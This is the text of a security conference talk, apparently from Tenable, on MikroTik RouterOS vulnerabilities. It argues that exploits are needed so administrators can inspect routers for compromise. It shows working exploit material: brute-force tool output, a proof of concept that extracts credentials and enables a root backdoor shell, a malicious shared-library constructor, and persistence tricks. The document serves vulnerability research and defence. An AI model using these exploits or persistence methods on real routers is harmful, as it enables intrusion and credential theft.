Help Me, Vulnerabilities
You’re My Only Hope
Slides, code, and data available on GitHub:

https://github.com/tenable/routeros
Agenda

Background
- About MikroTik
- Recent History of Exploitation
- Continued Threat

Problem and Solution
- The Problem
- Help Me, Vulnerabilities
- Cleaner Wrasse

A New Hope
- Got Root. Now What?
- Persistence
- Future Work
Introduction
albinolobster@ubuntu:~$ whoami

Jacob Baines
Principal Research Engineer, Tenable
@Junior_Baines
Man-in-the-Middle with a Raspberry Pi

At the inaugural BSides Dublin last weekend, I gave a talk titled, BadUSB in Routers. The talk described various BadUSB attacks against Netgear, TP-Link, Linksys, Asus, and MikroTik routers. However, one router stuck out as being more susceptible to BadUSB.
About MikroTik
- Headquartered in Latvia.
- Produce network devices and software.
- Sold worldwide.
- Active user base:
  - https://mum.mikrotik.com/
  - https://forum.mikrotik.com/
  - https://www.reddit.com/r/mikrotik/
- MikroTik Complete Solution for ISP
- Building and Running a Successful WISP
- MikroTik in Real Life, Full and Low Budget ISP
- X2com and MikroTik: New Core Network Case Study
- How to Build an ISP Business with Mikrotik Only
- Basic Mistakes by ISP's on Network Setup & BGP
- ISP Design – Using MikroTik CHR as a BGP Edge Router
- Providing TriplePlay Services (Internet, VoIP, IPTV) For Small Towns Using Wi-Fi Directional Radio Channels
- Security Challenges for ISPs and WISPs
MikroTik RouterOS 6.39.3 (c) 1999-2017  http://www.mikrotik.com/

ROUTER HAS NO SOFTWARE KEY

You have 23h43m to configure the router to be remotely accessible, and to enter the key by pasting it in a telnet window or in Winbox. Turn off the device to stop the timer.
See www.mikrotik.com/key for more details.

Current installation "software ID": 0XY2-C7ER
Please press "Enter" to continue!
PortRadar is currently: UP & SCANNING!

[ Let SpamHaus know how you feel about their horribly thought-out port scanning blocklists. ]

```c
49 {'
50         WinboxMessage msg;
51          
52         if (p_session_id == 0)
53         {
54             msg.set_to(2, 2);
55             msg.set_command(7);
56             msg.set_request_id(1);
57             msg.set_reply_expected(true);
58             msg.add_string(1, "list");
59             send(msg);
60             
61             msg.reset();
62             if (!receive(msg) || msg.has_error())
63             {
64                 std::cerr << msg.get_error_string();
65                 return false;
66             }
67             
68             p_session_id = msg.get_session_id();
69         }
70         
71         // request the challenge
72         msg.reset();
73         msg.set_to(13, 4);
74         msg.set_command(4);
75         msg.set_request_id(2);
76         msg.set_session_id(p_session_id);
77         msg.set_reply_expected(true);
78         send(msg);
```
• Wrote a scanner:
  ○ Requests the “list” file
  ○ Breaks down hosts into three buckets:
    ■ Those that identify themselves as versions 6.28 - 6.43rc4
    ■ Versions older than 6.28 (April, 2015)
    ■ Versions newer than 6.43rc4 (April, 2018)

• Results:
  ○ 565,648 MikroTik devices found on port 8291.
  ○ Devices found in 208 countries (Maxmind GeoIP2)
  ○ At least 40% still vulnerable to [CVE-2019-3924](https://github.com/tenable/routeros/tree/master/8291_scanner/results/).
Recent History of Exploitation

1) www - fixed http server vulnerability;

---

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
<th>Last Updated</th>
</tr>
</thead>
<tbody>
<tr>
<td>POCs</td>
<td>SMIPS is supported</td>
<td>last year</td>
</tr>
<tr>
<td>docs</td>
<td>resized image</td>
<td>9 months ago</td>
</tr>
<tr>
<td>tools</td>
<td>Add author</td>
<td>10 months ago</td>
</tr>
<tr>
<td>README.md</td>
<td>Update README.md</td>
<td>8 days ago</td>
</tr>
<tr>
<td>StackClash_mips.py</td>
<td>Shell command length check</td>
<td>last year</td>
</tr>
<tr>
<td>StackClash_resock_mips.py</td>
<td>Upload files with reused socket</td>
<td>last year</td>
</tr>
<tr>
<td>StackClash_x86.py</td>
<td>Add support for older x86 versions</td>
<td>last year</td>
</tr>
</tbody>
</table>

[https://github.com/BigNerd95/Chimay-Red](https://github.com/BigNerd95/Chimay-Red)
Slingshot APT – how it attacks

- Many victims infected when installing compromised routers
- Slingshot replaces a legitimate direct link library (DLL) with a version that has malicious code embedded
- Malicious library is loaded by a process with SYSTEM privileges – intruder gets same rights
- Loads components: GoltumApp (user mode) & Cahnadr (kernel mode)
- Information gathering:
  - Slingshot collects screenshots, keyboard data, network data, passwords, USB connections, other desktop activity, clipboard and more.
  - Kernel access means it can steal whatever it wants.
  - Hides from detection

This paper in a nutshell:

- Slingshot is a new, previously unknown cyber-espionage platform which rivals Project Sauron and Regin in complexity
- Slingshot has been active since at least 2012 until February 2018
- We observed almost one hundred Slingshot victims, mainly in the Middle East and Africa
- The attackers exploited an unknown vulnerability in Mikrotik routers as an infection vector

https://securelist.com/apt-slingshot/84312/
FOREIGN CYBER ACTORS TARGET HOME AND OFFICE ROUTERS AND NETWORKED DEVICES WORLDWIDE

SUMMARY

The FBI recommends any owner of small office and home office routers power cycle (reboot) the devices. Foreign cyber actors have compromised hundreds of thousands of home and office routers and other networked devices worldwide. The actors used VPNFilter malware to target small office and home office routers. The malware is able to perform multiple functions, including possible information collection, device exploitation, and blocking network traffic.

TECHNICAL DETAILS

The size and scope of the infrastructure impacted by VPNFilter malware is significant. The malware targets routers produced by several manufacturers and network-attached storage devices by at least one manufacturer. The initial infection vector for this malware is currently unknown.

https://blog.talosintelligence.com/2018/05/VPNFilter.html
Threat actor sends instructions to the machines through compromised MikroTik routers which act as C&C servers for the TrickBot malware. In this incident, TrickBot was used to deploy the Ryuk ransomware.

Perform lateral movement using Eternal Blue (SMB exploit) or harvested credentials.

Infected Machines communicates to C&C servers.

winbox vulnerable! Unusual login to routers  [SOLVED]

© Fri Apr 20, 2018 10:46 pm

I noticed today an unusual login to my router exposed to external ip.
Router had only winbox 8129, ssh on the changed high port and ptp on the default port. Version 6.41.3
The password is random char + numbers + special chars and nowhere else used.

Login to my router:

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Event Type</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apr 20/2018</td>
<td>11:57:00</td>
<td>memory</td>
<td>system, error, critical</td>
<td>login failure for user admin from 103.1.221.39 via winbox</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:02</td>
<td>memory</td>
<td>system, error, critical</td>
<td>login failure for user admin from 103.1.221.39 via winbox</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:03</td>
<td>memory</td>
<td>system, info, account</td>
<td>user admin logged in from 103.1.221.39 via winbox</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:11</td>
<td>memory</td>
<td>system, info</td>
<td>ip service changed by admin</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:30</td>
<td>memory</td>
<td>system, info, account</td>
<td>user admin logged in from 103.1.221.39 via ssh</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:41</td>
<td>memory</td>
<td>system, info, account</td>
<td>user admin logged out from 103.1.221.39 via winbox</td>
</tr>
<tr>
<td>Apr 20/2018</td>
<td>11:57:41</td>
<td>memory</td>
<td>system, info, account</td>
<td>user admin logged out from 103.1.221.39 via ssh</td>
</tr>
</tbody>
</table>

I updated it to the latest version and downloaded it completely from the outside.

Fortunately, I found two files: save.sh and dnstest.
Maybe their content will help in something:

save.sh

Edit: 18.04.25

Please upgrade to MikroTik RouterOS 6.40.8 [bugfix] or 6.42.1 [current], the issue was addressed and fixed there, https://mikrotik.com/download

We have discovered a new RouterOS vulnerability affecting all RouterOS versions since v6.29.

How it works: The vulnerability allowed a special tool to connect to the Winbox port, and request the system user database file.

Versions affected: 6.29 to 6.43rc3 (included). Updated versions in all release chains coming ASAP. Edit: v6.42.1 and v6.43rc4 have been released!

Am I affected? Currently there is no sure way to see if you were affected. If your Winbox port is open to untrusted networks, assume that you are affected and upgrade + change password + add firewall. Make sure that you change password after an upgrade. The log may show unsuccessful login attempt, followed by a successful login attempt from unknown IP addresses.

What do do: 1) Firewall the Winbox port from the public interface, and from untrusted networks. It is best, if you only allow known IP addresses to connect to your router to any services, not just Winbox. We suggest this to become common practice. As an alternative, possibly easier, use the "IP -> Services" menu to specify "Allowed From" addresses, include your LAN, and the public IP that you will be accessing the device from. 2) Change your passwords.

What to expect in the coming hours/days: Updated RouterOS versions coming ASAP. RouterOS user database security will be hardened, and deciphering will no longer be possible in the same manner.

EXAMPLE how to protect yourself:
Screen Shot 2018-04-23 at 13.01.48.png

You do not have the required permissions to view the files attached to this post.

Dissection of Winbox critical vulnerability

On April 23rd 2018, Mikrotik fixed a vulnerability “that allowed gaining access to an unsecured router”. myself and @yalpanian of @BASUCERT (part of CERTCC) reverse engineering lab tried to figure out what exactly got fixed, what was the problem in the first place and how severe was the impact of it.

UPDATE: full PoC is now available on Github.

UPDATE: CVE-2018-14847 has been assigned to this vulnerability and there should be a MetaSploit module related to this bug soon.

https://n0p.me/winbox-bug-dissection/
Coinhive + MikroTik = quarter million compromised hosts.

https://twitter.com/bad_packets/status/1048467770650685440
Eavesdropping

The MikroTik RouterOS device allows users to capture packets on the router and forward the captured network traffic to the specified Stream server.[7]

At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker and their TZSP traffic is being forwarded to some collecting IP addresses.

Sock4 Proxy and the Mysterious 95.154.216.128/25

At present, a total of 239K IPs are confirmed to have Socks4 proxy enabled maliciously. The Socks4 port is mostly TCP/4153, and very interestingly, the Socks4 proxy config only allows access from one single net-block 95.154.216.128/25. In order for the attacker to gain control even after device reboot(ip change), the device is configured to run a scheduled task to periodically report its latest IP address by accessing a specific attacker's URL.

The attacker also continues to scan more MikroTik RouterOS devices by using these compromised Socks4 proxy.

At this point, all the 239K IPs only allow access from 95.154.216.128/25, actually mainly 95.154.216.167. It is hard to say what the attacker is up to with these many Sock4 proxies but we think this is something significant.

Continued Threat
That activity has started again today. Confirmed CVE-2018-14847. Tags available to all users now.

GreyNoise Intelligence @GreyNoiseIO
GreyNoise has identified a sustained 6,700% increase in scan and attack traffic for the Mikrotik management port (8291/TCP). Malicious/compromised devices are being observed slinging CVE-2018-14847. Tags available to all users now.

4:51 PM - 1 Jul 2019
14 Retweets 23 Likes

https://twitter.com/GreyNoiseIo/status/1145797072802725890
- Wrote a honey pot:
  - [https://github.com/tenable/routeros/tree/master/8291_honeypot/](https://github.com/tenable/routeros/tree/master/8291_honeypot/)
  - Understands the Winbox Protocol
  - Receives initial message and sends an “Invalid Permissions” response
- Results:
  - Ran for six days. **July 1, 2019 - July 6, 2019.**
  - **58** total connections.
  - **51** attempts to exploit CVE-2018-14847.
  - First exploit attempt occurred **1.5 hours** after starting the honeypot.
  - 2 requests for the “list” file
  - [https://github.com/tenable/routeros/tree/master/8291_honeypot/results/](https://github.com/tenable/routeros/tree/master/8291_honeypot/results/)
We are paying $100,000++ for MikroTik #0day exploits leading to pre-auth RCE, or auth. bypass, or credentials disclosure. Target archs are: X86, ARM, MIPS. As always, we pay using Bitcoin/Monero or bank transfers. Offer valid for one month. Contact us: zerodium.com/submit.html
The Problem
As the hack could have been sniffing traffic, our other systems may be at risk. So we don’t have to audit all of our other systems now, how can we tell whether our particular device was compromised? This is very important. This could be extremely costly for our organization.

There is a lot of information here, how to protect router, how to deal with infection, how we should always upgrade and few overconfident statement about how were routers infected. But one crucial information is missing: *how to determine if my router is infected?* And I know you already typing “Just upgrade your…” before you even finish reading this, but please bear with me and read on first.

Hi,

I am in Kenya, and have deployments of a few hundred devices, though most of them sit inside private MPLS WANs. As far as I know we have not been exposed to this. How do I know if I have? By reading the Kaspersky report, it seems that even if I sort out the router, the issue still remains on any windows machines already

They get shell access by exploiting an unknown vulnerability.

But the funny part is, we as the owner of these devices with full privileges doesn’t have any shell access to play with 😝

It is time for mikrotik to step up and give us a basic shell where we can check suspicious files etc.

As @nuclearcat stated, even JunOS has one. Why not mikrotik?

I can say more - it does became requirements even in old deployments, and many customers started to ask how we can inspect if our systems are breached. As I say there is no way and tools at all, sorry, they ask to provide alternative solution, that can do so.

Unfortunately, if before administrators was able to slip it between fingers such drawback of mikrotik solutions, because it is very low cost, after this incident any IA/Security engineer will demand complete removal of hardware/software that can’t be isolated and can’t be inspected for possible “implants”.
**How it works:** The vulnerability allowed a special tool to connect to the Winbox port, and request the system user database file.

**Versions affected:**

- Affected all *bugfix* releases from 6.30.1 to 6.40.7, **fixed in 6.40.8 on 2018-Apr-23**
- Affected all *current* releases from 6.29 to 6.42, **fixed in 6.42.1 on 2018-Apr-23**
- Affected all *RC* releases from 6.29rc1 to 6.43rc3, **fixed in 6.43rc4 on 2018-Apr-23**

**Am I affected?** Currently there is no sure way to see if you were affected. If your Winbox port is open to untrusted networks, assume that you are affected and upgrade + change password + add firewall according to our guidelines. Make sure that you change password after an upgrade. The log may show unsuccessful login attempt, followed by a successful login attempt from unknown IP addresses.

Help Me, Vulnerabilities
• Administrators **need** to know if they were affected.
• No public solution offered by MikroTik.
• IOC not that helpful.
• Vulnerabilities… the only hope?
  ○ Get root
  ○ Hunt for bad stuff
**Currently supported architectures:**
- MIPSBE - [RB2011UiAS-RM](#)
- SMIPS - [hAP Lite](#)
- MMIPS - [hEX S](#)
- PPC - [RB1100](#)
- ARM - [CRS309-1G-8S+IN](#)
- TILE - [CCR1016-12G](#)
- X86 - [Cloud Hosted Router](#)

**Deprecated support:**
- MIPSLE - [Crossroads](#)
  - Deprecated with RouterOS 6.33.5 release on December 28, 2015

```
**Release 6.44.5**

<table>
<thead>
<tr>
<th>Architecture</th>
<th>File Name</th>
<th>Extension</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>routeros-x86-6.44.5.rpk</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>all_packages-x86-6.44.5.zip</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>mikrotik-6.44.5.iso</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>netinstall-6.44.5.zip</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>install-image-6.44.5.zip</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>cfw-6.44.5.img.zip</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>cfw-6.44.5.xmsdk</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>cfw-6.44.5.xshxs</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>cfw-6.44.5.xci</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>dute-6.44.5.rpk</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>dute-install-6.44.5.exe</td>
<td>x86</td>
</tr>
<tr>
<td></td>
<td>routeros-mipsbe-6.44.5.rpk</td>
<td>mpsbe</td>
</tr>
<tr>
<td></td>
<td>all_packages-mipsbe-6.44.5.zip</td>
<td>mpsbe</td>
</tr>
<tr>
<td></td>
<td>routeros-powerpc-6.44.5.rpk</td>
<td>ppc</td>
</tr>
<tr>
<td></td>
<td>all_packages-powerpc-6.44.5.zip</td>
<td>ppc</td>
</tr>
<tr>
<td></td>
<td>routeros-tile-6.44.5.rpk</td>
<td>tile</td>
</tr>
<tr>
<td></td>
<td>all_packages-tile-6.44.5.zip</td>
<td>tile</td>
</tr>
<tr>
<td></td>
<td>dute-6.44.5-tile.rpk</td>
<td>tile</td>
</tr>
<tr>
<td></td>
<td>routeros-emsps-6.44.5.rpk</td>
<td>emsps</td>
</tr>
<tr>
<td></td>
<td>all_packages-emsps-6.44.5.zip</td>
<td>emsps</td>
</tr>
<tr>
<td></td>
<td>routeros-arm-6.44.5.rpk</td>
<td>arm</td>
</tr>
<tr>
<td></td>
<td>all_packages-arm-6.44.5.zip</td>
<td>arm</td>
</tr>
<tr>
<td></td>
<td>dute-6.44.5-arm.rpk</td>
<td>arm</td>
</tr>
<tr>
<td></td>
<td>routeros-mmips-6.44.5.rpk</td>
<td>mmips</td>
</tr>
<tr>
<td></td>
<td>all_packages-mmips-6.44.5.zip</td>
<td>mmips</td>
</tr>
<tr>
<td></td>
<td>dute-6.44.5-mmips.rpk</td>
<td>mmips</td>
</tr>
</tbody>
</table>

[https://mikrotik.com/download/archive](https://mikrotik.com/download/archive)
### All current and historical releases

<table>
<thead>
<tr>
<th>Release</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>6.44.5</td>
<td>2019-07-09</td>
</tr>
<tr>
<td>6.43.16</td>
<td>2019-05-15</td>
</tr>
<tr>
<td>6.43.15</td>
<td>2019-05-13</td>
</tr>
<tr>
<td>6.43.14</td>
<td>2019-04-04</td>
</tr>
<tr>
<td>6.43.13</td>
<td>2019-03-20</td>
</tr>
<tr>
<td>6.42.12</td>
<td>2019-02-12</td>
</tr>
<tr>
<td>6.42.11</td>
<td>2019-01-09</td>
</tr>
<tr>
<td>6.42.10</td>
<td>2018-11-20</td>
</tr>
<tr>
<td>6.42.9</td>
<td>2018-10-01</td>
</tr>
<tr>
<td>6.40.9</td>
<td>2018-08-22</td>
</tr>
<tr>
<td>6.40.8</td>
<td>2018-04-24</td>
</tr>
<tr>
<td>6.40.7</td>
<td>2018-04-09</td>
</tr>
</tbody>
</table>

- **153** Long-term and Stable RouterOS versions released since October, 2011.
  - **Over 200** release candidates released since 2015.
- Four major versions:
  - RouterOS 3.x
    - Last release 3.30 on October 27, 2011.
  - RouterOS 4.x
    - Last release 4.17 on October 17, 2011.
  - RouterOS 5.x
    - Last release 5.26 on September 6, 2013.
  - RouterOS 6.x
    - First release 6.0 on May 20, 2013
    - Most recent release, July 19, 2019.
    - 130 total versions of RouterOS 6.x
      - **Nearly two** versions released per month

[https://mikrotik.com/download/archive](https://mikrotik.com/download/archive)
● RouterOS has a backdoor.
● The backdoor is a busybox shell.
● Login as `devel` with the administrator password.
● Enabled when a specific file exists:
  ○ 3.x - 5.x: `/nova/etc/devel-login`
  ○ 6.0 - 6.40.9: `/flash/nova/etc/devel-login`
  ○ 6.41 - 6.41.4: `/pckg/options`
  ○ 6.42+: `/pckg/options`
    ■ Must be one of two:
      ● A `squashfs` filesystem.
      ● A valid symlink into `/bndl/`.
● No MikroTik solution to enable the backdoor for normal customers.
Telnet set `tracefile` arbitrary file creation.
- No CVE assigned.
- Requires authentication.
- Triggered via `winbox`, `www`, `telnet`, or `ssh` interfaces.
- Disclosed by @hackerfantastic on December 11, 2018.
- Patched by MikroTik in:
  - 6.42.11 on January 9, 2019 (Long-term)
  - 6.43.8 on December 21, 2018 (Stable)
- Allows creation of the backdoor file in:
  - 6.0 - **6.41.4** (April 2018)
  - 5.x
  - 4.x
  - 3.x
• Not just exposing themselves to vulnerabilities.
• **www** and **winbox** have no brute force protection.
  ◦ [GitHub link](https://github.com/tenable/routeros/tree/master/brute_force/winbox_brute/)
  ◦ [GitHub link](https://github.com/tenable/routeros/tree/master/brute_force/www_brute/)

```
albinolobster@ubuntu:~/routeros_internal/brute_force/winbox_brute/build$ time ./winbox_brute -i 192.168.1.30 -p 8291 -f ~/top10000.txt 2> /dev/null
[+] Loading password file...
[+] Found 10000 passwords.
10000 / 10000
We found the password! Use admin:lolwat
real    0m29.214s
user    0m0.968s
sys     0m3.516s
```

```
albinolobster@ubuntu:~/routeros_internal/brute_force/www_brute/build$ time ./www_brute -i 192.168.1.30 -p 80 -f ~/top10000.txt 2> /dev/null
[+] Loading password file...
[+] Found 10000 passwords.
10000 / 10000
We found the password! Use admin:lolwat
real    0m43.726s
user    0m1.940s
sys     0m4.247s
```
Winbox and www PoC:
  - [https://github.com/tenable/routeros/tree/master/poc/hf_tracefile](https://github.com/tenable/routeros/tree/master/poc/hf_tracefile)
  - [https://github.com/tenable/routeros/tree/master/poc/hf_tracefile_www](https://github.com/tenable/routeros/tree/master/poc/hf_tracefile_www)
Release 6.43.15

What's new in 6.43.15 (2019-May-10 12:44):

*) dhcpv4-server - fixed commenting option for alerts;
*) dhcpv6-server - fixed binding setting update from RADIUS;
*) lke1 - improved stability for transport mode policies on initiator side;
*) ipv6 - adjusted IPv6 route cache max size;
*) ipv6 - adjust IPv6 route cache max size based on total RAM memory;
*) ipv6 - improved IPv6 neighbor table updating process;
*) lte - reset LTE modem only when SIM slot is changed on dual SIM slot devices;
*) lte - use default APN name "internet" when not provided;
*) nb2011 - removed "ftp-led" from "System/LEDs" menu;
*) nb4011 - fixed SFP+ interface full duplex and speed parameter behaviour;
*) nb4011 - improved SFP+ interface linking to 1Gbps;
*) smb - fixed possible buffer overflow;
*) snmp - added "radio-name" (mtrWTRabRadioName) OID support;
*) ssh - do not generate host key on configuration export;
*) switch - fixed possible crash when interface state changes and DHCP Snooping is enabled;
*) system - accept only valid path for "log-file" parameter in "port" menu;
*) userman - updated authorize.net gateway DNS name;
*) webfg - improved file handling;
*) winbox - improved file handling;

- fileman arbitrary file read and write.
- Requires authentication.
- Triggered via winbox or www interfaces.
- Patched by MikroTik in:
  - 6.43.15 on May 13, 2019 (Long-term)
  - 6.44.0 on March 26, 2019 (Stable)
- Allows creation of the backdoor file in:
  - 6.0 - 6.43.14 (April 2019)
  - 5.x
  - 4.x
  - 3.x

© 2019 Tenable® Inc.
Winbox and www devel-login PoC:
  ○ [GitHub Link](https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943_dev_shell)
  ○ [GitHub Link](https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943_dev_shell_www)

Used for many other PoC...
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251

BY THE WAY

[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pkg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on

albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:

BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.

https://github.com/tenable/routeros/tree/master/poc/bytheway

- mproxy arbitrary file read and write.
- File creating requires authentication.
- Triggered via winbox or www interfaces.
- Patched by MikroTik in:
  - 6.40.8 on April 23, 2018 (Long-term)
  - 6.42.1 on April 23, 2018 (Stable)
- Allows creation of the backdoor file in:
  - 6.0 - 6.42.0 (April 2018)
  - 5.x
  - 4.x
  - 3.x
• Summary
  ○ 3 file creation vulnerabilities.
  ○ Combined to work over ssh, telnet, www, and winbox.
  ○ Combined they can create the backdoor file on 142 of the 153 released Stable or Long-term releases.
    ■ Long-term up to May 13, 2019.
    ■ Stable up to March 26, 2019.
• If only someone combined them into one easy to use tool…
Cleaner Wrasse

>><(((°)>

<tenable>
Takes an IP, username, and password.
Tries connecting to the the winbox and www interfaces.
Automatically determines the RouterOS version.
Executes the appropriate exploit to create the backdoor file.
Offers a persistence mechanism for newer versions.
Offers a simple upgrade survival mechanism.
https://github.com/tenable/routeros/tree/master/cleaner_wrasse
All architectures supported.
Tested against all available versions.
Supports up to 6.45.
Comes with a companion script `wrasse.sh`
  - Can be used to help discover if the router has been compromised.
  - Runs on the router’s limited bash shell.
Got Root.
Now What?
RouterOS below 6.0 is completely `rw`. Therefore, much of the following discussion about `ro` filesystems, signed packages, and achieving/maintaining execution won’t apply to those versions.
# busybox
BusyBox v1.00 (2019.07.04-10:42+0000) multi-call binary

Usage: busybox [function] [arguments]...
or: [function] [arguments]...

BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as.

Currently defined functions:
[, ash, basename, bash, busybox, cat, chmod, chown, chroot, cp, dirname, echo, expr, find, hostname, ln, mkdir, mknod, mount, mv, rm, sh, test, touch, umount, uname, usleep

#

The built-in BusyBox is almost useless. You’ll want to upload a fully featured shell from here: https://busybox.net/downloads/binaries/
- Normally binaries execute from /bin/, /sbin/, or /nova/bin/.
  - In theory, those directories are read-only and come from digitally signed packages. In theory...
- Executing from /rw/ or /flash/ is a huge red flag.
  - This is, mostly, persistent rw storage that the system doesn’t normally use for execution.
- Anything running out of /pckg/ should be looked at closer.
<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Build Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>advanced-tools</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>dhcp</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>hotspot</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>ipv6</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>mpls</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>ppp</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>routeros-mipsbe</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>routing</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>security</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>system</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
<tr>
<td>wireless</td>
<td>6.44.5</td>
<td>Jul/04/2019 10:32:21</td>
</tr>
</tbody>
</table>

Everything is a package
- `/pkg/` is part of the `/ram/` rw tmpfs filesystem.
  - An attacker could create a pkg file structure and execute out of it to look “normal”
- Legitimate packages are mounted squashfs filesystems or symlinks to a ro `/bdnl/` directory.
One of these things is not like the others
So I am using 6.32.3 from 2105.. I dont have a admin user and the user im using has a good password..

ALL services are exposed to the net. Accept on input/output/forward

In 30 mins ive already seen tons of SSH attempts with Admin/Root..

This is going to be great fun. How long before 6.32.3 get owned?

But how do I know its been owned? >System > Packages > Check Installation? My Disk space changes? CPU Use changes? Memory changes?

This is going to be very interesting.. I will learn a lot.. Once its been compromised I will then attempt clean up..

I dont care that the IP is exposed in the above image. If you wanted to have a go at it, go right ahead 😊
- `/nova/bin/` executables that dlopen libraries from `/pckg/`
  - snmp
  - www
  - profiler
```
push    offset as0    ; "so"
push    2
mov     eax, [ebp+var_70]
mov     eax, [eax]
sub     eax, 3
push    eax        ; unsigned int
push    ebx        ; this
call    string::compare(uint,uint, char const*)
add     esp, 10h
test    eax, eax
ejnz    loc_B06F14F

push    eax
push    eax
push    2        ; mode
mov     eax, [ebp+var_74]
add     eax, 4
push    eax       ; file
call    _dlopen
add     esp, 10h
test    eax, eax
jnz     short loc_B06F05A
```
SNMP dlopen() proof of concept:

- Uses CVE-2019-3943 to:
  - Create the `/pckg/` file structure.
  - Drops an x86 `.so` on disk.
- Uses the Winbox protocol to stop and start the SNMP service.
- `/nova/bin/snmp` loads the `.so` into memory.
- The `.so` deletes itself and enables the backdoor.
# uname -a
Linux MikroTik 3.3.5-smp #1 SMP Fri Feb 8 09:15:50 UTC 2019 i686 unknown
# echo $LD_LIBRARY_PATH
/rw/lib:/pckg/ipv6/lib:/pckg/wireless/lib:/pckg/user-manager/lib:/pckg/mp...
```c
void __attribute__((constructor)) lol(void)
{
    int fork_result = fork();
    if (fork_result == 0)
    {
        exec("/bin/bash", "bash", "-c", "mkdir /pckg/option; mount -o bind /boot/ /pckg/option", (char *) 0);
        exit(0);
    }
}
```

- **Proof of concept:**
  - Uses CVE-2019-3943 to create `/rw/lib/` and upload a MIPS .so.
  - The .so is `libz.so.1.2.11` with a constructor function added in.
  - The .so gets loaded by `/nova/bin/fileman`.
  - One lesson learned:
    - RouterOS MIPSBE has no `/bin/sh`
Persistence
Backdoor persistence issues:

- **Reboot**
  - 6.41+ moved the backdoor to `/pckg/` which is part of a tmp filesystem.
  - Therefore, a reboot will remove the file.
  - Before 6.41 persistence was easy.

- **Upgrade**
  - Overwrites many files, although typically not ones we care about.
  - Can behave badly using some persistence mechanisms.
● Using /rw/lib/ works great for surviving reboots.
● The library gets used at startup which means the backdoor is reintroduced immediately.
● Does not survive upgrades!
  ○ RouterOS deletes the /rw/lib directory on upgrade.
● /rw/lib technique still works on newest RouterOS but need a mechanism to reintroduce the library after an upgrade occurs.
<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Build Time</th>
<th>Scheduled</th>
</tr>
</thead>
<tbody>
<tr>
<td>advanced-tools</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>calcm</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>dhcp</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>duid</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>gps</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>hotspot</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>ipv6</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>xmv</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>tcd</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>ipmc</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>multicast</td>
<td>6.41.4</td>
<td>Apr 05/2018 12:23:55</td>
<td></td>
</tr>
<tr>
<td>ntp</td>
<td>6.41.4</td>
